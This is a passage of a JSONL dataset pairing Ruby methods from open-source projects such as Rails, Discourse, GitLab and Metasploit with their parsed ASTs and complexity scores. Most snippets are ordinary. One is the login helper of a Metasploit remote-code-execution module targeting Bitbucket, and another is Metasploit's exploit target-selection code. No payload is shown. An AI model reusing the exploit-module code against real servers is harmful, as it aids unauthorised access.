savvy?\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"treasure\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pirate\"]},\"great_treasures\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"gold\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"estimate\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"treasure\"]},\"price_estimates\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"price\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"estimate\"]},\"update_columns\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"price\"]},{\"type\":\"str\",\"children\":[\"not a number\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"estimate\"]},{\"type\":\"sym\",\"children\":[\"valid?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"treasures\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pirate\"]},\"great_treasures\"]},\"eager_load\",{\"type\":\"sym\",\"children\":[\"price_estimates\"]}]},\"to_a\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"treasures\"]},\"first\"]},\"price_estimates\"]},\"first\"]},\"price=\",{\"type\":\"str\",\"children\":[\"not a price\"]}]},{\"type\":\"lvasgn\",\"children\":[\"new_pirate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"super_pirate\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"catchphrase\"]},{\"type\":\"str\",\"children\":[\"Arr\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"great_treasures\"]},{\"type\":\"lvar\",\"children\":[\"treasures\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordInvalid\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_pirate\"]},\"save!\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Great treasures price estimates price is not a number\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_pirate\"]},\"errors\"]},\"full_messages\"]}]}]}]}","id":"ed88a37b-682a-47f9-8884-1175094744e4"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/requests/notifications_controller_spec.rb","start_line":404,"raw_source":"def expect_correct_notifications(response)\n            notification_ids = response.parsed_body[\"notifications\"].map { |n| n[\"id\"] }\n            expect(notification_ids).to include(allowed_pm_notification.id)\n            expect(notification_ids).to_not include(forbidden_pm_notification.id)\n          end","complexity_score":21.9,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_correct_notifications\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"notification_ids\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"parsed_body\"]},\"[]\",{\"type\":\"str\",\"children\":[\"notifications\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"notification_ids\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed_pm_notification\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"notification_ids\"]}]},\"to_not\",{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"forbidden_pm_notification\"]},\"id\"]}]}]}]}]}","id":"a7aaadd9-4dca-454f-a6f0-f3244f644a5a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/nuget/update_package_from_metadata_service.rb","start_line":183,"raw_source":"def symbol_package?\n        package_types.include?(SYMBOL_PACKAGE_IDENTIFIER)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"symbol_package?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"package_types\"]},\"include?\",{\"type\":\"const\",\"children\":[null,\"SYMBOL_PACKAGE_IDENTIFIER\"]}]}]}","id":"eec4c048-8c2d-41f3-9f95-ea61ad0c9bce"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/features/types/export_configuration_spec.rb","start_line":44,"raw_source":"def within_pdf_export_template_container(template_id, &)\n    within(\"[data-test-selector='pdf-export-template-row-#{template_id}']\", &)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"within_pdf_export_template_container\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"template_id\"]},{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"send\",\"children\":[null,\"within\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[data-test-selector='pdf-export-template-row-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template_id\"]}]},{\"type\":\"str\",\"children\":[\"']\"]}]},{\"type\":\"block_pass\",\"children\":[null]}]}]}","id":"0a0eadda-1deb-465f-90c3-0bc92a6f4d01"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/sidebars/panel.rb","start_line":55,"raw_source":"def render?\n      renderable_menus.any?\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"render?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"renderable_menus\"]},\"any?\"]}]}","id":"a967cfd8-446d-4e49-bfb6-84c553b091a5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/bitbucket_env_var_rce.rb","start_line":169,"raw_source":"def log_in(username, password)\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'login'),\n      'keep_cookies' => true\n    )\n\n    fail_with(Failure::UnexpectedReply, 'Failed to access login page') unless res&.body&.include?('login')\n\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'j_atl_security_check'),\n      'keep_cookies' => true,\n      'vars_post' => {\n        'j_username' => username,\n        'j_password' => password,\n        '_atl_remember_me' => 'on',\n        'submit' => 'Log in'\n      }\n    )\n\n    fail_with(Failure::UnexpectedReply, 'Didn\\'t retrieve a response') unless res\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'projects'),\n      'keep_cookies' => true\n    )\n\n    fail_with(Failure::UnexpectedReply, 'No response from the projects page') unless res\n    unless res.body.include?('Logged in')\n      fail_with(Failure::UnexpectedReply, 'Failed to log in. Please check credentials')\n    end\n  end","complexity_score":31.5,"ast_json":"{\"type\":\"def\",\"children\":[\"log_in\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"username\"]},{\"type\":\"arg\",\"children\":[\"password\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"login\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"login\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Failed to access login page\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"j_atl_security_check\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"j_username\"]},{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"j_password\"]},{\"type\":\"lvar\",\"children\":[\"password\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"_atl_remember_me\"]},{\"type\":\"str\",\"children\":[\"on\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"submit\"]},{\"type\":\"str\",\"children\":[\"Log in\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Didn't retrieve a response\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"projects\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"No response from the projects page\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"Logged in\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Failed to log in. Please check credentials\"]}]}]}]}]}","id":"db4c87fb-5a2b-455b-83b6-6b054db106cd"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/associations/association.rb","start_line":41,"raw_source":"def initialize(owner, reflection)\n        reflection.check_validity!\n\n        @owner, @reflection = owner, reflection\n        @disable_joins = @reflection.options[:disable_joins] || false\n\n        reset\n        reset_scope\n\n        @skip_strict_loading = nil\n      end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"owner\"]},{\"type\":\"arg\",\"children\":[\"reflection\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reflection\"]},\"check_validity!\"]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@owner\"]},{\"type\":\"ivasgn\",\"children\":[\"@reflection\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"owner\"]},{\"type\":\"lvar\",\"children\":[\"reflection\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@disable_joins\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@reflection\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"disable_joins\"]}]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"reset\"]},{\"type\":\"send\",\"children\":[null,\"reset_scope\"]},{\"type\":\"ivasgn\",\"children\":[\"@skip_strict_loading\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"1afeb808-f760-45b7-89d1-45842494452d"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/user_notifications.rb","start_line":31,"raw_source":"def has_no_notification?(notification)\n        page.has_no_css?(\".notification a[href='#{notification.url}']\")\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"has_no_notification?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"notification\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"has_no_css?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".notification a[href='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notification\"]},\"url\"]}]},{\"type\":\"str\",\"children\":[\"']\"]}]}]}]}","id":"7dc7f9e5-10cc-4255-ba22-df934e44f8b9"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/validations/length_validation_test.rb","start_line":392,"raw_source":"def test_validates_length_of_using_maximum_should_not_allow_nil_when_nil_not_allowed\n    Topic.validates_length_of :title, maximum: 10, allow_nil: false\n    t = Topic.new\n    assert_predicate t, :invalid?\n  end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_validates_length_of_using_maximum_should_not_allow_nil_when_nil_not_allowed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"validates_length_of\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"maximum\"]},{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_nil\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"t\"]},{\"type\":\"sym\",\"children\":[\"invalid?\"]}]}]}]}","id":"0007b754-df9a-47b9-ae81-3e7c342efd00"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/duration.rb","start_line":392,"raw_source":"def in_hours\n      in_seconds / SECONDS_PER_HOUR.to_f\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"in_hours\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_seconds\"]},\"/\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SECONDS_PER_HOUR\"]},\"to_f\"]}]}]}","id":"fcd205fd-ee8a-428c-aa6c-33976c1c3c71"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/regexp_literal.rb","start_line":101,"raw_source":"def on_regexp(node)\n          message = if slash_literal?(node)\n                      MSG_USE_PERCENT_R unless allowed_slash_literal?(node)\n                    else\n                      MSG_USE_SLASHES unless allowed_percent_r_literal?(node)\n                    end\n\n          return unless message\n\n          add_offense(node, message: message) do |corrector|\n            correct_delimiters(node, corrector)\n            correct_inner_slashes(node, corrector)\n          end\n        end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"on_regexp\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"slash_literal?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed_slash_literal?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},null,{\"type\":\"const\",\"children\":[null,\"MSG_USE_PERCENT_R\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed_percent_r_literal?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},null,{\"type\":\"const\",\"children\":[null,\"MSG_USE_SLASHES\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"correct_delimiters\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[null,\"correct_inner_slashes\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"corrector\"]}]}]}]}]}]}","id":"fb70a238-3a99-4533-83e8-8bf92b145659"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/nested_attributes_test.rb","start_line":545,"raw_source":"def test_should_unset_association_when_an_existing_record_is_destroyed\n    original_pirate_id = @ship.pirate.id\n    @ship.update! pirate_attributes: { id: @ship.pirate.id, _destroy: true }\n\n    assert_empty Pirate.where(id: original_pirate_id)\n    assert_nil @ship.pirate_id\n    assert_nil @ship.pirate\n\n    @ship.reload\n    assert_empty Pirate.where(id: original_pirate_id)\n    assert_nil @ship.pirate_id\n    assert_nil @ship.pirate\n  end","complexity_score":21.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_unset_association_when_an_existing_record_is_destroyed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"original_pirate_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ship\"]},\"pirate\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ship\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pirate_attributes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ship\"]},\"pirate\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"_destroy\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_empty\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pirate\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"original_pirate_id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ship\"]},\"pirate_id\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ship\"]},\"pirate\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ship\"]},\"reload\"]},{\"type\":\"send\",\"children\":[null,\"assert_empty\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pirate\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"original_pirate_id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ship\"]},\"pirate_id\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ship\"]},\"pirate\"]}]}]}]}","id":"cc576808-3166-495e-8e04-8d36e6dc0807"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/user_settings/gpg_keys_controller.rb","start_line":45,"raw_source":"def gpg_key_params\n      params.require(:gpg_key).permit(:key)\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"gpg_key_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"gpg_key\"]}]},\"permit\",{\"type\":\"sym\",\"children\":[\"key\"]}]}]}","id":"030a4494-65ea-4387-ac76-e999cd1466df"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/staff_action_logger.rb","start_line":659,"raw_source":"def log_silence_user(user, opts = {})\n    raise Discourse::InvalidParameters.new(:user) unless user\n\n    create_args =\n      params(opts).merge(\n        action: UserHistory.actions[:silence_user],\n        target_user_id: user.id,\n        details: opts[:details],\n      )\n    create_args[:post_id] = opts[:post_id] if opts[:post_id]\n\n    UserHistory.create!(create_args)\n  end","complexity_score":17.8,"ast_json":"{\"type\":\"def\",\"children\":[\"log_silence_user\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidParameters\"]},\"new\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"create_args\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserHistory\"]},\"actions\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"silence_user\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"details\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"details\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"post_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"create_args\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"post_id\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserHistory\"]},\"create!\",{\"type\":\"lvar\",\"children\":[\"create_args\"]}]}]}]}","id":"c1477631-eb3d-49cc-b871-40f9c1843fb6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit.rb","start_line":636,"raw_source":"def target\n    if self.respond_to?(:auto_targeted_index)\n      if auto_target?\n        auto_idx = auto_targeted_index\n        if auto_idx.present?\n          datastore['TARGET'] = auto_idx\n        else\n          # If our inserted Automatic Target was selected but we failed to\n          # find a suitable target, we just grab the original first target.\n          datastore['TARGET'] = 1\n        end\n      end\n    end\n\n    target_idx = target_index\n    return (target_idx) ? targets[target_idx.to_i] : nil\n  end","complexity_score":22.05,"ast_json":"{\"type\":\"def\",\"children\":[\"target\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"auto_targeted_index\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"auto_target?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"auto_idx\",{\"type\":\"send\",\"children\":[null,\"auto_targeted_index\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auto_idx\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"TARGET\"]},{\"type\":\"lvar\",\"children\":[\"auto_idx\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"TARGET\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},null]},null]},{\"type\":\"lvasgn\",\"children\":[\"target_idx\",{\"type\":\"send\",\"children\":[null,\"target_index\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_idx\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targets\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_idx\"]},\"to_i\"]}]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"2e6c456a-6a65-4791-a7f2-3ecc379117ce"}
